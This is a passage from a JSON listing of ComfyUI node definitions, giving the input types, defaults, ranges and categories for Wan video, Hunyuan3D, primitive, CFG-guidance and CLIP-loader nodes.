null, "essentials_category": null, "has_intermediate_output": false}, "WanFirstLastFrameToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"clip_vision_start_image": ["CLIP_VISION_OUTPUT", {}], "clip_vision_end_image": ["CLIP_VISION_OUTPUT", {}], "start_image": ["IMAGE", {}], "end_image": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["clip_vision_start_image", "clip_vision_end_image", "start_image", "end_image"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "WanFirstLastFrameToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanVaceToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1000.0, "step": 0.01}]}, "optional": {"control_video": ["IMAGE", {}], "control_masks": ["MASK", {}], "reference_image": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size", "strength"], "optional": ["control_video", "control_masks", "reference_image"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT", "INT"], "output_is_list": [false, false, false, false], "output_name": ["positive", "negative", "latent", "trim_latent"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "WanVaceToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/vace", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["video conditioning", "video control"], "essentials_category": null, "has_intermediate_output": false}, "TrimVideoLatent": {"input": {"required": {"samples": ["LATENT", {}], "trim_amount": ["INT", {"default": 0, "min": 0, "max": 99999}]}}, "input_order": {"required": ["samples", "trim_amount"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "TrimVideoLatent", "display_name": "Trim Video Latent", "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/latent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanCameraImageToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"clip_vision_output": ["CLIP_VISION_OUTPUT", {}], "start_image": ["IMAGE", {}], "camera_conditions": ["WAN_CAMERA_EMBEDDING", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["clip_vision_output", "start_image", "camera_conditions"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "WanCameraImageToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/camera", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanPhantomSubjectToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"images": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["images"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false, false], "output_name": ["positive", "negative_text", "negative_img_text", "latent"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "WanPhantomSubjectToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/phantom subject", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanSoundImageToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 77, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"audio_encoder_output": ["AUDIO_ENCODER_OUTPUT", {}], "ref_image": ["IMAGE", {}], "control_video": ["IMAGE", {}], "ref_motion": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["audio_encoder_output", "ref_image", "control_video", "ref_motion"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "WanSoundImageToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/sound", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanSoundImageToVideoExtend": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "length": ["INT", {"default": 77, "min": 1, "max": 16384, "step": 4}], "video_latent": ["LATENT", {}]}, "optional": {"audio_encoder_output": ["AUDIO_ENCODER_OUTPUT", {}], "ref_image": ["IMAGE", {}], "control_video": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "length", "video_latent"], "optional": ["audio_encoder_output", "ref_image", "control_video"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "WanSoundImageToVideoExtend", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/sound", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanHuMoImageToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 97, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"audio_encoder_output": ["AUDIO_ENCODER_OUTPUT", {}], "ref_image": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["audio_encoder_output", "ref_image"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "WanHuMoImageToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/humo", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanAnimateToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 77, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}], "continue_motion_max_frames": ["INT", {"default": 5, "min": 1, "max": 16384, "step": 4}], "video_frame_offset": ["INT", {"tooltip": "The amount of frames to seek in all the input videos. Used for generating longer videos by chunk. Connect to the video_frame_offset output of the previous node for extending a video.", "default": 0, "min": 0, "max": 16384, "step": 1}]}, "optional": {"clip_vision_output": ["CLIP_VISION_OUTPUT", {}], "reference_image": ["IMAGE", {}], "face_video": ["IMAGE", {}], "pose_video": ["IMAGE", {}], "background_video": ["IMAGE", {}], "character_mask": ["MASK", {}], "continue_motion": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size", "continue_motion_max_frames", "video_frame_offset"], "optional": ["clip_vision_output", "reference_image", "face_video", "pose_video", "background_video", "character_mask", "continue_motion"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT", "INT", "INT", "INT"], "output_is_list": [false, false, false, false, false, false], "output_name": ["positive", "negative", "latent", "trim_latent", "trim_image", "video_frame_offset"], "output_tooltips": [null, null, null, null, null, null], "output_matchtypes": null, "name": "WanAnimateToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/animate", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Wan22ImageToVideoLatent": {"input": {"required": {"vae": ["VAE", {}], "width": ["INT", {"default": 1280, "min": 32, "max": 16384, "step": 32}], "height": ["INT", {"default": 704, "min": 32, "max": 16384, "step": 32}], "length": ["INT", {"default": 49, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"start_image": ["IMAGE", {}]}}, "input_order": {"required": ["vae", "width", "height", "length", "batch_size"], "optional": ["start_image"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "Wan22ImageToVideoLatent", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanInfiniteTalkToVideo": {"input": {"required": {"mode": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "single_speaker", "inputs": {"required": {}}}, {"key": "two_speakers", "inputs": {"required": {}, "optional": {"audio_encoder_output_2": ["AUDIO_ENCODER_OUTPUT", {}], "mask_1": ["MASK", {"tooltip": "Mask for the first speaker, required if using two audio inputs."}], "mask_2": ["MASK", {"tooltip": "Mask for the second speaker, required if using two audio inputs."}]}}}]}], "model": ["MODEL", {}], "model_patch": ["MODEL_PATCH", {}], "positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "audio_encoder_output_1": ["AUDIO_ENCODER_OUTPUT", {}], "motion_frame_count": ["INT", {"tooltip": "Number of previous frames to use as motion context.", "advanced": true, "default": 9, "min": 1, "max": 33, "step": 1}], "audio_scale": ["FLOAT", {"default": 1.0, "min": -10.0, "max": 10.0, "step": 0.01}]}, "optional": {"clip_vision_output": ["CLIP_VISION_OUTPUT", {}], "start_image": ["IMAGE", {}], "previous_frames": ["IMAGE", {}]}}, "input_order": {"required": ["mode", "model", "model_patch", "positive", "negative", "vae", "width", "height", "length", "audio_encoder_output_1", "motion_frame_count", "audio_scale"], "optional": ["clip_vision_output", "start_image", "previous_frames"]}, "is_input_list": false, "output": ["MODEL", "CONDITIONING", "CONDITIONING", "LATENT", "INT"], "output_is_list": [false, false, false, false, false], "output_name": ["model", "positive", "negative", "latent", "trim_image"], "output_tooltips": [null, null, null, null, null], "output_matchtypes": null, "name": "WanInfiniteTalkToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/infinite talk", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BerniniConditioning": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 8192, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 8192, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 8192, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"source_video": ["IMAGE", {"tooltip": "Source video to edit or restyle (v2v, rv2v). Resized to width/height and trimmed to length."}], "reference_video": ["IMAGE", {"tooltip": "Video to insert into the source video (ads2v)."}], "reference_images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_image": ["IMAGE", {"tooltip": "Reference image injected as an in-context token (r2v, rv2v)."}]}}, "prefix": "reference_image_", "min": 0, "max": 8}}], "ref_max_size": ["INT", {"tooltip": "Max size for the long edge of reference_video and reference_images. Resized with preserved aspect ratio and snapped to 16px.", "default": 848, "min": 16, "max": 8192, "step": 16}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["source_video", "reference_video", "reference_images", "ref_max_size"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "BerniniConditioning", "display_name": "Bernini Conditioning", "description": "Conditioning node for Bernini in-context video/image conditioning. It can be used for the following tasks: t2v (text-to-video), v2v (video-to-video), rv2v (reference-guided video editing), r2v (reference-to-video), ads2v (insert image/video into video).Reference images injected as in-context tokens (r2v, rv2v) are encoded independently at their own native aspect ratio (long edge capped at ref_max_size)", "python_module": "comfy_extras.nodes_bernini", "category": "model/conditioning/bernini", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LotusConditioning": {"input": {"required": {}}, "input_order": {"required": []}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["conditioning"], "output_tooltips": [null], "output_matchtypes": null, "name": "LotusConditioning", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lotus", "category": "model/conditioning/lotus", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyLatentHunyuan3Dv2": {"input": {"required": {"resolution": ["INT", {"default": 3072, "min": 1, "max": 8192}], "batch_size": ["INT", {"tooltip": "The number of latent images in the batch.", "default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["resolution", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyLatentHunyuan3Dv2", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_hunyuan3d", "category": "model/latent/hunyuan 3d", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Hunyuan3Dv2Conditioning": {"input": {"required": {"clip_vision_output": ["CLIP_VISION_OUTPUT", {}]}}, "input_order": {"required": ["clip_vision_output"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "Hunyuan3Dv2Conditioning", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_hunyuan3d", "category": "model/conditioning/hunyuan 3d", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Hunyuan3Dv2ConditioningMultiView": {"input": {"required": {}, "optional": {"front": ["CLIP_VISION_OUTPUT", {}], "left": ["CLIP_VISION_OUTPUT", {}], "back": ["CLIP_VISION_OUTPUT", {}], "right": ["CLIP_VISION_OUTPUT", {}]}}, "input_order": {"required": [], "optional": ["front", "left", "back", "right"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "Hunyuan3Dv2ConditioningMultiView", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_hunyuan3d", "category": "model/conditioning/hunyuan 3d", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VAEDecodeHunyuan3D": {"input": {"required": {"samples": ["LATENT", {}], "vae": ["VAE", {}], "num_chunks": ["INT", {"advanced": true, "default": 8000, "min": 1000, "max": 500000}], "octree_resolution": ["INT", {"advanced": true, "default": 256, "min": 16, "max": 512}]}}, "input_order": {"required": ["samples", "vae", "num_chunks", "octree_resolution"]}, "is_input_list": false, "output": ["VOXEL"], "output_is_list": [false], "output_name": ["VOXEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "VAEDecodeHunyuan3D", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_hunyuan3d", "category": "model/latent/hunyuan 3d", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VoxelToMeshBasic": {"input": {"required": {"voxel": ["VOXEL", {}], "threshold": ["FLOAT", {"default": 0.6, "min": -1.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["voxel", "threshold"]}, "is_input_list": false, "output": ["MESH"], "output_is_list": [false], "output_name": ["MESH"], "output_tooltips": [null], "output_matchtypes": null, "name": "VoxelToMeshBasic", "display_name": "Voxel to Mesh (Basic) (DEPRECATED)", "description": "Converts a voxel grid to a mesh.", "python_module": "comfy_extras.nodes_hunyuan3d", "category": "3d", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VoxelToMesh": {"input": {"required": {"voxel": ["VOXEL", {}], "algorithm": ["COMBO", {"multiselect": false, "options": ["surface net", "basic"]}], "threshold": ["FLOAT", {"default": 0.6, "min": -1.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["voxel", "algorithm", "threshold"]}, "is_input_list": false, "output": ["MESH"], "output_is_list": [false], "output_name": ["MESH"], "output_tooltips": [null], "output_matchtypes": null, "name": "VoxelToMesh", "display_name": "Voxel to Mesh", "description": "Converts a voxel grid to a mesh.", "python_module": "comfy_extras.nodes_hunyuan3d", "category": "3d", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PrimitiveString": {"input": {"required": {"value": ["STRING", {"multiline": false}]}}, "input_order": {"required": ["value"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "PrimitiveString", "display_name": "Text String (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_primitive", "category": "utilities/primitive", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["text", "string", "text box", "prompt"], "essentials_category": null, "has_intermediate_output": false}, "PrimitiveStringMultiline": {"input": {"required": {"value": ["STRING", {"multiline": true}]}}, "input_order": {"required": ["value"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "PrimitiveStringMultiline", "display_name": "Input Text", "description": "", "python_module": "comfy_extras.nodes_primitive", "category": "utilities/primitive", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["text", "string", "text multiline", "string multiline", "text box", "prompt"], "essentials_category": "Basics", "has_intermediate_output": false}, "PrimitiveInt": {"input": {"required": {"value": ["INT", {"min": -9223372036854775807, "max": 9223372036854775807, "control_after_generate": "fixed"}]}}, "input_order": {"required": ["value"]}, "is_input_list": false, "output": ["INT"], "output_is_list": [false], "output_name": ["INT"], "output_tooltips": [null], "output_matchtypes": null, "name": "PrimitiveInt", "display_name": "Int", "description": "", "python_module": "comfy_extras.nodes_primitive", "category": "utilities/primitive", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PrimitiveFloat": {"input": {"required": {"value": ["FLOAT", {"min": -9223372036854775807, "max": 9223372036854775807, "step": 0.1}]}}, "input_order": {"required": ["value"]}, "is_input_list": false, "output": ["FLOAT"], "output_is_list": [false], "output_name": ["FLOAT"], "output_tooltips": [null], "output_matchtypes": null, "name": "PrimitiveFloat", "display_name": "Float", "description": "", "python_module": "comfy_extras.nodes_primitive", "category": "utilities/primitive", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PrimitiveBoolean": {"input": {"required": {"value": ["BOOLEAN", {}]}}, "input_order": {"required": ["value"]}, "is_input_list": false, "output": ["BOOLEAN"], "output_is_list": [false], "output_name": ["BOOLEAN"], "output_tooltips": [null], "output_matchtypes": null, "name": "PrimitiveBoolean", "display_name": "Boolean", "description": "", "python_module": "comfy_extras.nodes_primitive", "category": "utilities/primitive", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CFGZeroStar": {"input": {"required": {"model": ["MODEL", {}]}}, "input_order": {"required": ["model"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["patched_model"], "output_tooltips": [null], "output_matchtypes": null, "name": "CFGZeroStar", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_cfg", "category": "advanced/guidance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CFGNorm": {"input": {"required": {"model": ["MODEL", {}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01}]}, "optional": {"pre_cfg": ["BOOLEAN", {"tooltip": "If true, rescale the combined noise BEFORE the sampler's CFG combine, without clamping (can amplify). Matches the norm-scaled CFG used by models like Lens. Default false keeps the original post-CFG x0-space attenuate-only behavior.", "default": false}]}}, "input_order": {"required": ["model", "strength"], "optional": ["pre_cfg"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["patched_model"], "output_tooltips": [null], "output_matchtypes": null, "name": "CFGNorm", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_cfg", "category": "advanced/guidance", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "OptimalStepsScheduler": {"input": {"required": {"model_type": ["COMBO", {"multiselect": false, "options": ["FLUX", "Wan", "Chroma"]}], "steps": ["INT", {"default": 20, "min": 3, "max": 1000}], "denoise": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model_type", "steps", "denoise"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "OptimalStepsScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_optimalsteps", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "QuadrupleCLIPLoader": {"input": {"required": {"clip_name1": ["COMBO", {"multiselect": false, "options": ["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]}], "clip_name2": ["COMBO", {"multiselect": false, "options": ["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]}], "clip_name3": ["COMBO", {"multiselect": false, "options": ["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]}], "clip_name4": ["COMBO", {"multiselect": false, "options": ["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]}]}}, "input_order": {"required": ["clip_name1", "clip_name2", "clip_name3", "clip_name4"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "output_tooltips": [null], "output_matchtypes": null, "name": "QuadrupleCLIPLoader", "display_name": "Load CLIP (Quadruple)", "description": "Recipes:\nhidream: long clip-l, long clip-g, t5xxl, llama_8b_3.1_instruct", "python_module": "comfy_extras.nodes_hidream", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CLIPTextEncodeHiDream": {"input": {"required": {"clip": ["CLIP", {}], "clip_l": ["STRING", {"multiline": true, "dynamicPrompts": true}], "clip_g": ["STRING", {"multiline": true, "dynamicPrompts": true}], "t5xxl": ["STRING", {"multiline": true, "dynamicPrompts": true}], "llama": ["STRING", {"multiline": true, "dynamicPrompts": true}]}}, "input_order": {"required": ["clip", "clip_l", "clip_g", "t5xxl", "llama"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "CLIPTextEncodeHiDream", "display_name": "CLIP Text Encode (HiDream)", "description": "", "python_module": "comfy_extras.nodes_hidream", "category": "model/conditioning/hidream", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["hidream prompt"], "essentials_category": null, "has_intermediate_output": false}, "FreSca": {"input": {"required": {"model": ["MODEL", {}], "scale_low": ["FLOAT", {"tooltip": "Scaling factor for low-frequency components", "advanced": true, "default": 1.0, "min": 0, "max": 10, "step": 0.01}], "scale_high": ["FLOAT", {"tooltip": "Scaling factor for high-frequency components", "advanced": true, "default": 1.25, "min": 0, "max": 10, "step": 0.01}], "freq_cutoff": ["INT", {"tooltip": "Number of frequency indices around center to consider as low-frequency", "advanced": true, "default": 20, "min": 1, "max": 10000, "step": 1}]}}, "input_order": {"required": ["model", "scale_low", "scale_high", "freq_cutoff"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "FreSca", "display_name": "FreSca", "description": "Applies frequency-dependent scaling to the guidance", "python_module": "comfy_extras.nodes_fresca", "category": "experimental", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["frequency guidance"], "essentials_category": null, "has_intermediate_output": false}, "APG": {"input": {"required": {"model": ["MODEL", {}], "eta": ["FLOAT", {"tooltip": "Controls the scale of the parallel guidance vector. Default CFG behavior at a setting of 1.", "advanced": true, "default": 1.0, "min": -10.0, "max": 10.0, "step": 0.01}], "norm_threshold": ["FLOAT", {"tooltip": "Normalize guidance vector to this value, normalization disable at a setting of 0.", "advanced": true, "default": 5.0, "min": 0.0, "max": 50.0, "step": 0.1}], "momentum": ["FLOAT", {"tooltip": "Controls a running average of guidance during diffusion, disabled at a setting of 0.", "advanced": true, "default": 0.0, "min": -5.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model", "eta", "norm_threshold", "momentum"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "APG", "display_name": "Adaptive Projected Guidance", "description": "", "python_module": "comfy_extras.nodes_apg", "category": "model/sampling/custom", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PreviewAny": {"input": {"required": {"source": ["*", {}]}}, "input_order": {"required": ["source"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "name": "PreviewAny", "display_name": "Preview as Text", "description": "", "python_module": "comfy_extras.nodes_preview_any", "category": "utilities", "output_node": true, "has_intermediate_output": false, "search_aliases": ["show output", "inspect", "debug", "print value", "show text"]}, "TextEncodeAceStepAudio": {"input": {"required": 